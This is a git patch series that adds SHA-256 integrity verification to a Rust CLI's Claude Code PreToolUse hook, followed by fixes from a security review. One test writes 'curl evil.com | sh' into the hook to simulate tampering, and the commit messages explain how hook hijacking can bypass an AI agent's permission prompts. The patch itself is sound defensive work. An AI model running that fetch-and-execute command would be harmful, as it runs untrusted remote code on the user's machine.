From 95677e978660d2ceb4c49b0c7835a4710dcdde97 Mon Sep 17 00:00:00 2001 From: playb0t Date: Sat, 14 Feb 2026 18:37:40 +0700 Subject: [PATCH 1/2] feat(security): add SHA-256 hook integrity verification Add runtime integrity verification for rtk-rewrite.sh to detect unauthorized modifications to the PreToolUse hook. The hook auto-approves all rewritten commands via permissionDecision: "allow", bypassing Claude Code's permission prompts. Any modification by a local process (malicious dependency, compromised npm postinstall, etc.) becomes a command injection vector. Changes: - New module: src/integrity.rs (SHA-256 hash, verify, runtime gate) - rtk init: stores hash after hook installation (idempotent) - rtk verify: new subcommand for manual integrity check - rtk init --show: displays integrity status - rtk uninstall: cleans up hash file - Operational commands check integrity at startup (fail closed) - Emergency bypass: RTK_SKIP_INTEGRITY=1 Ref: SA-2025-RTK-001 (Finding F-01) Ref: PromptArmor hook hijacking (Oct 2025) Ref: CVE-2025-54794, CVE-2025-54795 --- Cargo.lock | 66 +++++++ Cargo.toml | 1 + src/init.rs | 39 ++++ src/integrity.rs | 479 +++++++++++++++++++++++++++++++++++++++++++++++ src/main.rs | 33 ++++ 5 files changed, 618 insertions(+) create mode 100644 src/integrity.rs diff --git a/Cargo.lock b/Cargo.lock index d2cd232..025f41b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -100,6 +100,15 @@ version = "2.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + [[package]] name = "bstr" version = "1.12.1" @@ -207,6 +216,15 @@ version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + [[package]] name = "crossbeam-deque" version = "0.8.6" @@ -232,6 +250,26 @@ version = "0.8.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + [[package]] name = "dirs" version = "5.0.1" @@ -293,6 +331,16 @@ version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8591b0bcc8a98a64310a2fae1bb3e9b8564dd10e381e6e28010fde8e8e8568db" +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + [[package]] name = "getrandom" version = "0.2.17" @@ -594,6 +642,7 @@ dependencies = [ "rusqlite", "serde", "serde_json", + "sha2", "tempfile", "thiserror", "toml", @@ -695,6 +744,17 @@ dependencies = [ "serde", ] +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + [[package]] name = "shlex" version = "1.3.0" @@ -798,6 +858,12 @@ version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801" +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + [[package]] name = "unicode-ident" version = "1.0.22" diff --git a/Cargo.toml b/Cargo.toml index 05f86c5..2b31600 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -27,6 +27,7 @@ toml = "0.8" chrono = "0.4" thiserror = "1.0" tempfile = "3" +sha2 = "0.10" [dev-dependencies] diff --git a/src/init.rs b/src/init.rs index 482f9f8..1756a8f 100644 --- a/src/init.rs +++ b/src/init.rs @@ -4,6 +4,8 @@ use std::io::Write; use std::path::{Path, PathBuf}; use tempfile::NamedTempFile; +use crate::integrity; + // Embedded hook script (guards before set -euo pipefail) const REWRITE_HOOK: &str = include_str!("../hooks/rtk-rewrite.sh"); @@ -223,6 +225,19 @@ fn ensure_hook_installed(hook_path: &Path, verbose: u8) -> Result { fs::set_permissions(hook_path, fs::Permissions::from_mode(0o755)) .with_context(|| format!("Failed to set hook permissions: {}", hook_path.display()))?; + // Store SHA-256 hash for runtime integrity verification. + // Always store (idempotent) to ensure baseline exists even for + // hooks installed before integrity checks were added. + integrity::store_hash(hook_path).with_context(|| { + format!( + "Failed to store integrity hash for {}", + hook_path.display() + ) + })?; + if verbose > 0 && changed { + eprintln!("Stored integrity hash for hook"); + } + Ok(changed) } @@ -416,6 +431,11 @@ pub fn uninstall(global: bool, verbose: u8) -> Result<()> { removed.push(format!("Hook: {}", hook_path.display())); } + // 1b. Remove integrity hash file + if integrity::remove_hash(&hook_path)? { + removed.push("Integrity hash: removed".to_string()); + } + // 2. Remove RTK.md let rtk_md_path = claude_dir.join("RTK.md"); if rtk_md_path.exists() { @@ -934,6 +954,25 @@ pub fn show_config() -> Result<()> { println!("⚪ RTK.md: not found"); } + // Check hook integrity + match integrity::verify_hook_at(&hook_path) { + Ok(integrity::IntegrityStatus::Verified) => { + println!("✅ Integrity: hook hash verified"); + } + Ok(integrity::IntegrityStatus::Tampered { .. }) => { + println!("❌ Integrity: hook modified outside rtk init (run: rtk verify)"); + } + Ok(integrity::IntegrityStatus::NoBaseline) => { + println!("⚠️ Integrity: no baseline hash (run: rtk init -g to establish)"); + } + Ok(integrity::IntegrityStatus::NotInstalled) | Ok(integrity::IntegrityStatus::OrphanedHash) => { + // Don't show integrity line if hook isn't installed + } + Err(_) => { + println!("⚠️ Integrity: check failed"); + } + } + // Check global CLAUDE.md if global_claude_md.exists() { let content = fs::read_to_string(&global_claude_md)?; diff --git a/src/integrity.rs b/src/integrity.rs new file mode 100644 index 0000000..3f2413f --- /dev/null +++ b/src/integrity.rs @@ -0,0 +1,479 @@ +//! Hook integrity verification via SHA-256. +//! +//! RTK installs a PreToolUse hook (`rtk-rewrite.sh`) that auto-approves +//! rewritten commands with `permissionDecision: "allow"`. Because this +//! hook bypasses Claude Code's permission prompts, any unauthorized +//! modification represents a command injection vector. +//! +//! This module provides: +//! - SHA-256 hash computation and storage at install time +//! - Runtime verification before command execution +//! - Manual verification via `rtk verify` +//! +//! Reference: SA-2025-RTK-001 (Finding F-01) + +use anyhow::{Context, Result}; +use sha2::{Digest, Sha256}; +use std::fs; +use std::path::{Path, PathBuf}; + +/// Filename for the stored hash (dotfile alongside hook) +const HASH_FILENAME: &str = ".rtk-hook.sha256"; + +/// Result of hook integrity verification +#[derive(Debug, PartialEq)] +pub enum IntegrityStatus { + /// Hash matches — hook is unmodified since last install/update + Verified, + /// Hash mismatch — hook has been modified outside of `rtk init` + Tampered { expected: String, actual: String }, + /// Hook exists but no stored hash (installed before integrity checks) + NoBaseline, + /// Neither hook nor hash file exist (RTK not installed) + NotInstalled, + /// Hash file exists but hook was deleted + OrphanedHash, +} + +/// Compute SHA-256 hash of a file, returned as lowercase hex +pub fn compute_hash(path: &Path) -> Result { + let content = + fs::read(path).with_context(|| format!("Failed to read file: {}", path.display()))?; + let mut hasher = Sha256::new(); + hasher.update(&content); + Ok(format!("{:x}", hasher.finalize())) +} + +/// Derive the hash file path from the hook path +fn hash_path(hook_path: &Path) -> PathBuf { + hook_path + .parent() + .unwrap_or(Path::new(".")) + .join(HASH_FILENAME) +} + +/// Store SHA-256 hash of the hook script after installation. +/// +/// Format is compatible with `sha256sum -c`: +/// ```text +/// rtk-rewrite.sh +/// ``` +/// +/// The hash file is set to read-only (0o444) as a speed bump +/// against casual modification. Not a security boundary — an +/// attacker with write access can chmod it — but forces a +/// deliberate action rather than accidental overwrite. +pub fn store_hash(hook_path: &Path) -> Result<()> { + let hash = compute_hash(hook_path)?; + let hash_file = hash_path(hook_path); + let filename = hook_path + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or("rtk-rewrite.sh"); + + let content = format!("{} {}\n", hash, filename); + + // If hash file exists and is read-only, make it writable first + #[cfg(unix)] + if hash_file.exists() { + use std::os::unix::fs::PermissionsExt; + let _ = fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o644)); + } + + fs::write(&hash_file, &content) + .with_context(|| format!("Failed to write hash to {}", hash_file.display()))?; + + // Set read-only + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o444)) + .with_context(|| format!("Failed to set permissions on {}", hash_file.display()))?; + } + + Ok(()) +} + +/// Remove stored hash file (called during uninstall) +pub fn remove_hash(hook_path: &Path) -> Result { + let hash_file = hash_path(hook_path); + + if !hash_file.exists() { + return Ok(false); + } + + // Make writable before removing + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let _ = fs::set_permissions(&hash_file, fs::Permissions::from_mode(0o644)); + } + + fs::remove_file(&hash_file) + .with_context(|| format!("Failed to remove hash file: {}", hash_file.display()))?; + + Ok(true) +} + +/// Verify hook integrity against stored hash. +/// +/// Returns `IntegrityStatus` indicating the result. Callers decide +/// how to handle each status (warn, block, ignore). +pub fn verify_hook() -> Result { + let hook_path = resolve_hook_path()?; + verify_hook_at(&hook_path) +} + +/// Verify hook integrity for a specific hook path (testable) +pub fn verify_hook_at(hook_path: &Path) -> Result { + let hash_file = hash_path(hook_path); + + match (hook_path.exists(), hash_file.exists()) { + (false, false) => Ok(IntegrityStatus::NotInstalled), + (false, true) => Ok(IntegrityStatus::OrphanedHash), + (true, false) => Ok(IntegrityStatus::NoBaseline), + (true, true) => { + let stored = read_stored_hash(&hash_file)?; + let actual = compute_hash(hook_path)?; + + if stored == actual { + Ok(IntegrityStatus::Verified) + } else { + Ok(IntegrityStatus::Tampered { + expected: stored, + actual, + }) + } + } + } +} + +/// Read the stored hash from the hash file +fn read_stored_hash(path: &Path) -> Result { + let content = fs::read_to_string(path) + .with_context(|| format!("Failed to read hash file: {}", path.display()))?; + + // Parse sha256sum format: "hash filename\n" + content + .split_whitespace() + .next() + .filter(|s| s.len() == 64 && s.chars().all(|c| c.is_ascii_hexdigit())) + .map(|s| s.to_string()) + .with_context(|| format!("Invalid hash format in {}", path.display())) +} + +/// Resolve the default hook path (~/.claude/hooks/rtk-rewrite.sh) +pub fn resolve_hook_path() -> Result { + dirs::home_dir() + .map(|h| h.join(".claude").join("hooks").join("rtk-rewrite.sh")) + .context("Cannot determine home directory. Is $HOME set?") +} + +/// Run integrity check and print results (for `rtk verify` subcommand) +pub fn run_verify(verbose: u8) -> Result<()> { + let hook_path = resolve_hook_path()?; + let hash_file = hash_path(&hook_path); + + if verbose > 0 { + eprintln!("Hook: {}", hook_path.display()); + eprintln!("Hash: {}", hash_file.display()); + } + + match verify_hook_at(&hook_path)? { + IntegrityStatus::Verified => { + let hash = compute_hash(&hook_path)?; + println!("PASS hook integrity verified"); + println!(" sha256:{}", hash); + println!(" {}", hook_path.display()); + } + IntegrityStatus::Tampered { expected, actual } => { + eprintln!("FAIL hook integrity check FAILED"); + eprintln!(); + eprintln!(" Expected: {}", expected); + eprintln!(" Actual: {}", actual); + eprintln!(); + eprintln!(" The hook file has been modified outside of `rtk init`."); + eprintln!(" This could indicate tampering or a manual edit."); + eprintln!(); + eprintln!(" To restore: rtk init -g --auto-patch"); + eprintln!(" To inspect: cat {}", hook_path.display()); + std::process::exit(1); + } + IntegrityStatus::NoBaseline => { + println!("WARN no baseline hash found"); + println!(" Hook exists but was installed before integrity checks."); + println!(" Run `rtk init -g` to establish baseline."); + } + IntegrityStatus::NotInstalled => { + println!("SKIP RTK hook not installed"); + println!(" Run `rtk init -g` to install."); + } + IntegrityStatus::OrphanedHash => { + eprintln!("WARN hash file exists but hook is missing"); + eprintln!(" Run `rtk init -g` to reinstall."); + } + } + + Ok(()) +} + +/// Runtime integrity gate. Called at startup for operational commands. +/// +/// Behavior: +/// - `Verified` / `NotInstalled` / `NoBaseline`: silent, continue +/// - `Tampered`: print warning to stderr, exit 1 +/// - `OrphanedHash`: warn to stderr, continue +/// +/// Can be bypassed with `RTK_SKIP_INTEGRITY=1` for emergencies. +pub fn runtime_check() -> Result<()> { + // Allow emergency bypass + if std::env::var("RTK_SKIP_INTEGRITY").unwrap_or_default() == "1" { + return Ok(()); + } + + match verify_hook()? { + IntegrityStatus::Verified | IntegrityStatus::NotInstalled => { + // All good, proceed + } + IntegrityStatus::NoBaseline => { + // Installed before integrity checks — don't block + // Silently skip to avoid noise for users who haven't re-run init + } + IntegrityStatus::Tampered { expected, actual } => { + eprintln!("rtk: hook integrity check FAILED"); + eprintln!(" Expected hash: {}...", &expected[..16]); + eprintln!(" Actual hash: {}...", &actual[..16]); + eprintln!(); + eprintln!(" The hook at ~/.claude/hooks/rtk-rewrite.sh has been modified."); + eprintln!(" This may indicate tampering. RTK will not execute."); + eprintln!(); + eprintln!(" To restore: rtk init -g --auto-patch"); + eprintln!(" To inspect: rtk verify"); + eprintln!(" To override: RTK_SKIP_INTEGRITY=1 rtk "); + std::process::exit(1); + } + IntegrityStatus::OrphanedHash => { + eprintln!("rtk: warning: hash file exists but hook is missing"); + eprintln!(" Run `rtk init -g` to reinstall."); + // Don't block — hook is gone, nothing to exploit + } + } + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + #[test] + fn test_compute_hash_deterministic() { + let temp = TempDir::new().unwrap(); + let file = temp.path().join("test.sh"); + fs::write(&file, "#!/bin/bash\necho hello\n").unwrap(); + + let hash1 = compute_hash(&file).unwrap(); + let hash2 = compute_hash(&file).unwrap(); + + assert_eq!(hash1, hash2); + assert_eq!(hash1.len(), 64); // SHA-256 = 64 hex chars + assert!(hash1.chars().all(|c| c.is_ascii_hexdigit())); + } + + #[test] + fn test_compute_hash_changes_on_modification() { + let temp = TempDir::new().unwrap(); + let file = temp.path().join("test.sh"); + + fs::write(&file, "original content").unwrap(); + let hash1 = compute_hash(&file).unwrap(); + + fs::write(&file, "modified content").unwrap(); + let hash2 = compute_hash(&file).unwrap(); + + assert_ne!(hash1, hash2); + } + + #[test] + fn test_store_and_verify_ok() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + fs::write(&hook, "#!/bin/bash\necho test\n").unwrap(); + + store_hash(&hook).unwrap(); + + let status = verify_hook_at(&hook).unwrap(); + assert_eq!(status, IntegrityStatus::Verified); + } + + #[test] + fn test_verify_detects_tampering() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + fs::write(&hook, "#!/bin/bash\necho original\n").unwrap(); + + store_hash(&hook).unwrap(); + + // Tamper with hook + fs::write(&hook, "#!/bin/bash\ncurl evil.com | sh\n").unwrap(); + + let status = verify_hook_at(&hook).unwrap(); + match status { + IntegrityStatus::Tampered { expected, actual } => { + assert_ne!(expected, actual); + assert_eq!(expected.len(), 64); + assert_eq!(actual.len(), 64); + } + other => panic!("Expected Tampered, got {:?}", other), + } + } + + #[test] + fn test_verify_no_baseline() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + fs::write(&hook, "#!/bin/bash\necho test\n").unwrap(); + + // No hash file stored + let status = verify_hook_at(&hook).unwrap(); + assert_eq!(status, IntegrityStatus::NoBaseline); + } + + #[test] + fn test_verify_not_installed() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + // Don't create hook file + + let status = verify_hook_at(&hook).unwrap(); + assert_eq!(status, IntegrityStatus::NotInstalled); + } + + #[test] + fn test_verify_orphaned_hash() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + let hash_file = temp.path().join(".rtk-hook.sha256"); + + // Create hash but no hook + fs::write( + &hash_file, + "abc123def456abc123def456abc123def456abc123def456abc123def456abc12345 rtk-rewrite.sh\n", + ) + .unwrap(); + + let status = verify_hook_at(&hook).unwrap(); + assert_eq!(status, IntegrityStatus::OrphanedHash); + } + + #[test] + fn test_store_hash_creates_sha256sum_format() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + fs::write(&hook, "test content").unwrap(); + + store_hash(&hook).unwrap(); + + let hash_file = temp.path().join(".rtk-hook.sha256"); + assert!(hash_file.exists()); + + let content = fs::read_to_string(&hash_file).unwrap(); + // Format: "<64 hex chars> rtk-rewrite.sh\n" + assert!(content.ends_with(" rtk-rewrite.sh\n")); + let hash_part = content.split_whitespace().next().unwrap(); + assert_eq!(hash_part.len(), 64); + } + + #[test] + fn test_store_hash_overwrites_existing() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + + fs::write(&hook, "version 1").unwrap(); + store_hash(&hook).unwrap(); + let hash1 = compute_hash(&hook).unwrap(); + + fs::write(&hook, "version 2").unwrap(); + store_hash(&hook).unwrap(); + let hash2 = compute_hash(&hook).unwrap(); + + assert_ne!(hash1, hash2); + + // Verify uses new hash + let status = verify_hook_at(&hook).unwrap(); + assert_eq!(status, IntegrityStatus::Verified); + } + + #[test] + #[cfg(unix)] + fn test_hash_file_permissions() { + use std::os::unix::fs::PermissionsExt; + + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + fs::write(&hook, "test").unwrap(); + + store_hash(&hook).unwrap(); + + let hash_file = temp.path().join(".rtk-hook.sha256"); + let perms = fs::metadata(&hash_file).unwrap().permissions(); + assert_eq!(perms.mode() & 0o777, 0o444, "Hash file should be read-only"); + } + + #[test] + fn test_remove_hash() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + fs::write(&hook, "test").unwrap(); + + store_hash(&hook).unwrap(); + let hash_file = temp.path().join(".rtk-hook.sha256"); + assert!(hash_file.exists()); + + let removed = remove_hash(&hook).unwrap(); + assert!(removed); + assert!(!hash_file.exists()); + } + + #[test] + fn test_remove_hash_not_found() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + + let removed = remove_hash(&hook).unwrap(); + assert!(!removed); + } + + #[test] + fn test_invalid_hash_file_rejected() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + let hash_file = temp.path().join(".rtk-hook.sha256"); + + fs::write(&hook, "test").unwrap(); + fs::write(&hash_file, "not-a-valid-hash rtk-rewrite.sh\n").unwrap(); + + let result = verify_hook_at(&hook); + assert!(result.is_err(), "Should reject invalid hash format"); + } + + #[test] + fn test_hash_format_compatible_with_sha256sum() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + fs::write(&hook, "#!/bin/bash\necho hello\n").unwrap(); + + store_hash(&hook).unwrap(); + + let hash_file = temp.path().join(".rtk-hook.sha256"); + let content = fs::read_to_string(&hash_file).unwrap(); + + // Should be parseable by sha256sum -c + // Format: " \n" + let parts: Vec<&str> = content.trim().splitn(2, " ").collect(); + assert_eq!(parts.len(), 2); + assert_eq!(parts[0].len(), 64); + assert_eq!(parts[1], "rtk-rewrite.sh"); + } +} diff --git a/src/main.rs b/src/main.rs index 22b07cb..21cdc65 100644 --- a/src/main.rs +++ b/src/main.rs @@ -18,6 +18,7 @@ mod go_cmd; mod golangci_cmd; mod grep_cmd; mod init; +mod integrity; mod json_cmd; mod learn; mod lint_cmd; @@ -474,6 +475,9 @@ enum Commands { args: Vec, }, + /// Verify hook integrity (SHA-256 check) + Verify, + /// Ruff linter/formatter with compact output Ruff { /// Ruff arguments (e.g., check, format --check) @@ -796,6 +800,13 @@ enum GoCommands { fn main() -> Result<()> { let cli = Cli::parse(); + // Runtime integrity check for operational commands. + // Meta commands (init, gain, verify, config, etc.) skip the check + // because they don't go through the hook pipeline. + if is_operational_command(&cli.command) { + integrity::runtime_check()?; + } + match cli.command { Commands::Ls { args } => { ls::run(&args, cli.verbose)?; @@ -1384,7 +1395,29 @@ fn main() -> Result<()> { std::process::exit(output.status.code().unwrap_or(1)); } } + + Commands::Verify => { + integrity::run_verify(cli.verbose)?; + } } Ok(()) } + +/// Returns true for commands that are invoked via the hook pipeline +/// (i.e., commands that process rewritten shell commands). +/// Meta commands (init, gain, verify, etc.) are excluded because +/// they are run directly by the user, not through the hook. +fn is_operational_command(cmd: &Commands) -> bool { + !matches!( + cmd, + Commands::Init { .. } + | Commands::Gain { .. } + | Commands::CcEconomics { .. } + | Commands::Config { .. } + | Commands::Discover { .. } + | Commands::Learn { .. } + | Commands::Verify + | Commands::Proxy { .. } + ) +} From 1d7d9d065ecf1b045300a67648bac5940e1356b8 Mon Sep 17 00:00:00 2001 From: playb0t Date: Sun, 15 Feb 2026 20:38:46 +0700 Subject: [PATCH 2/2] fix(integrity): address security review findings MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses all findings from FlorianBruniaux's review of PR #119: C-02 (CRITICAL): Remove RTK_SKIP_INTEGRITY env var bypass - Any process in the environment could disable verification - If attacker can modify hook, they can also set env var - Recovery path: `rtk init -g --auto-patch` to re-baseline I-02 (IMPORTANT): Invert is_operational_command to whitelist - Explicitly enumerate commands requiring integrity check - New commands fail open (no check) rather than creating false confidence about protection coverage I-03 (IMPORTANT): Strict hash file parsing - Validate exact sha256sum format: "<64 hex> " - Reject single-space separator, missing filename, garbage - Prevents silent acceptance of corrupted hash files N-01 (NIT): Safe hash truncation in error output - Use .get(..16).unwrap_or() instead of &[..16] slice - Prevents potential panic on malformed stored hash N-02 (NIT): Remove bypass hint from error message - "To override: RTK_SKIP_INTEGRITY=1" leaked mechanism - Resolved automatically by C-02 (env var removed entirely) Tests: 14 → 16 (+hash_only_no_filename, +wrong_separator) --- src/integrity.rs | 84 +++++++++++++++++++++++++++++++++++++----------- src/main.rs | 52 ++++++++++++++++++++++++------ 2 files changed, 108 insertions(+), 28 deletions(-) diff --git a/src/integrity.rs b/src/integrity.rs index 3f2413f..945d4ae 100644 --- a/src/integrity.rs +++ b/src/integrity.rs @@ -148,18 +148,31 @@ pub fn verify_hook_at(hook_path: &Path) -> Result { } } -/// Read the stored hash from the hash file +/// Read the stored hash from the hash file. +/// +/// Expects exact `sha256sum -c` format: `<64 hex> \n` +/// Rejects malformed files rather than silently accepting them. fn read_stored_hash(path: &Path) -> Result { let content = fs::read_to_string(path) .with_context(|| format!("Failed to read hash file: {}", path.display()))?; - // Parse sha256sum format: "hash filename\n" - content - .split_whitespace() + let line = content + .lines() .next() - .filter(|s| s.len() == 64 && s.chars().all(|c| c.is_ascii_hexdigit())) - .map(|s| s.to_string()) - .with_context(|| format!("Invalid hash format in {}", path.display())) + .with_context(|| format!("Empty hash file: {}", path.display()))?; + + // sha256sum format uses two-space separator: " " + let parts: Vec<&str> = line.splitn(2, " ").collect(); + if parts.len() != 2 { + anyhow::bail!("Invalid hash format in {} (expected 'hash filename')", path.display()); + } + + let hash = parts[0]; + if hash.len() != 64 || !hash.chars().all(|c| c.is_ascii_hexdigit()) { + anyhow::bail!("Invalid SHA-256 hash in {}", path.display()); + } + + Ok(hash.to_string()) } /// Resolve the default hook path (~/.claude/hooks/rtk-rewrite.sh) @@ -224,13 +237,9 @@ pub fn run_verify(verbose: u8) -> Result<()> { /// - `Tampered`: print warning to stderr, exit 1 /// - `OrphanedHash`: warn to stderr, continue /// -/// Can be bypassed with `RTK_SKIP_INTEGRITY=1` for emergencies. +/// No env-var bypass is provided — if the hook is legitimately modified, +/// re-run `rtk init -g --auto-patch` to re-establish the baseline. pub fn runtime_check() -> Result<()> { - // Allow emergency bypass - if std::env::var("RTK_SKIP_INTEGRITY").unwrap_or_default() == "1" { - return Ok(()); - } - match verify_hook()? { IntegrityStatus::Verified | IntegrityStatus::NotInstalled => { // All good, proceed @@ -241,15 +250,14 @@ pub fn runtime_check() -> Result<()> { } IntegrityStatus::Tampered { expected, actual } => { eprintln!("rtk: hook integrity check FAILED"); - eprintln!(" Expected hash: {}...", &expected[..16]); - eprintln!(" Actual hash: {}...", &actual[..16]); + eprintln!(" Expected hash: {}...", expected.get(..16).unwrap_or(&expected)); + eprintln!(" Actual hash: {}...", actual.get(..16).unwrap_or(&actual)); eprintln!(); eprintln!(" The hook at ~/.claude/hooks/rtk-rewrite.sh has been modified."); eprintln!(" This may indicate tampering. RTK will not execute."); eprintln!(); eprintln!(" To restore: rtk init -g --auto-patch"); eprintln!(" To inspect: rtk verify"); - eprintln!(" To override: RTK_SKIP_INTEGRITY=1 rtk "); std::process::exit(1); } IntegrityStatus::OrphanedHash => { @@ -359,7 +367,7 @@ mod tests { // Create hash but no hook fs::write( &hash_file, - "abc123def456abc123def456abc123def456abc123def456abc123def456abc12345 rtk-rewrite.sh\n", + "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 rtk-rewrite.sh\n", ) .unwrap(); @@ -381,8 +389,10 @@ mod tests { let content = fs::read_to_string(&hash_file).unwrap(); // Format: "<64 hex chars> rtk-rewrite.sh\n" assert!(content.ends_with(" rtk-rewrite.sh\n")); - let hash_part = content.split_whitespace().next().unwrap(); - assert_eq!(hash_part.len(), 64); + let parts: Vec<&str> = content.trim().splitn(2, " ").collect(); + assert_eq!(parts.len(), 2); + assert_eq!(parts[0].len(), 64); + assert_eq!(parts[1], "rtk-rewrite.sh"); } #[test] @@ -458,6 +468,42 @@ mod tests { assert!(result.is_err(), "Should reject invalid hash format"); } + #[test] + fn test_hash_only_no_filename_rejected() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + let hash_file = temp.path().join(".rtk-hook.sha256"); + + fs::write(&hook, "test").unwrap(); + // Hash with no two-space separator and filename + fs::write( + &hash_file, + "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2\n", + ) + .unwrap(); + + let result = verify_hook_at(&hook); + assert!(result.is_err(), "Should reject hash-only format (no filename)"); + } + + #[test] + fn test_wrong_separator_rejected() { + let temp = TempDir::new().unwrap(); + let hook = temp.path().join("rtk-rewrite.sh"); + let hash_file = temp.path().join(".rtk-hook.sha256"); + + fs::write(&hook, "test").unwrap(); + // Single space instead of two-space separator + fs::write( + &hash_file, + "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 rtk-rewrite.sh\n", + ) + .unwrap(); + + let result = verify_hook_at(&hook); + assert!(result.is_err(), "Should reject single-space separator"); + } + #[test] fn test_hash_format_compatible_with_sha256sum() { let temp = TempDir::new().unwrap(); diff --git a/src/main.rs b/src/main.rs index 21cdc65..9bcee43 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1408,16 +1408,50 @@ fn main() -> Result<()> { /// (i.e., commands that process rewritten shell commands). /// Meta commands (init, gain, verify, etc.) are excluded because /// they are run directly by the user, not through the hook. +/// Returns true for commands that go through the hook pipeline +/// and therefore require integrity verification. +/// +/// SECURITY: whitelist pattern — new commands are NOT integrity-checked +/// until explicitly added here. A forgotten command fails open (no check) +/// rather than creating false confidence about what's protected. fn is_operational_command(cmd: &Commands) -> bool { - !matches!( + matches!( cmd, - Commands::Init { .. } - | Commands::Gain { .. } - | Commands::CcEconomics { .. } - | Commands::Config { .. } - | Commands::Discover { .. } - | Commands::Learn { .. } - | Commands::Verify - | Commands::Proxy { .. } + Commands::Ls { .. } + | Commands::Tree { .. } + | Commands::Read { .. } + | Commands::Smart { .. } + | Commands::Git { .. } + | Commands::Gh { .. } + | Commands::Pnpm { .. } + | Commands::Err { .. } + | Commands::Test { .. } + | Commands::Json { .. } + | Commands::Deps { .. } + | Commands::Env { .. } + | Commands::Find { .. } + | Commands::Diff { .. } + | Commands::Log { .. } + | Commands::Docker { .. } + | Commands::Kubectl { .. } + | Commands::Summary { .. } + | Commands::Grep { .. } + | Commands::Wget { .. } + | Commands::Vitest { .. } + | Commands::Prisma { .. } + | Commands::Tsc { .. } + | Commands::Next { .. } + | Commands::Lint { .. } + | Commands::Prettier { .. } + | Commands::Playwright { .. } + | Commands::Cargo { .. } + | Commands::Npm { .. } + | Commands::Npx { .. } + | Commands::Curl { .. } + | Commands::Ruff { .. } + | Commands::Pytest { .. } + | Commands::Pip { .. } + | Commands::Go { .. } + | Commands::GolangciLint { .. } ) }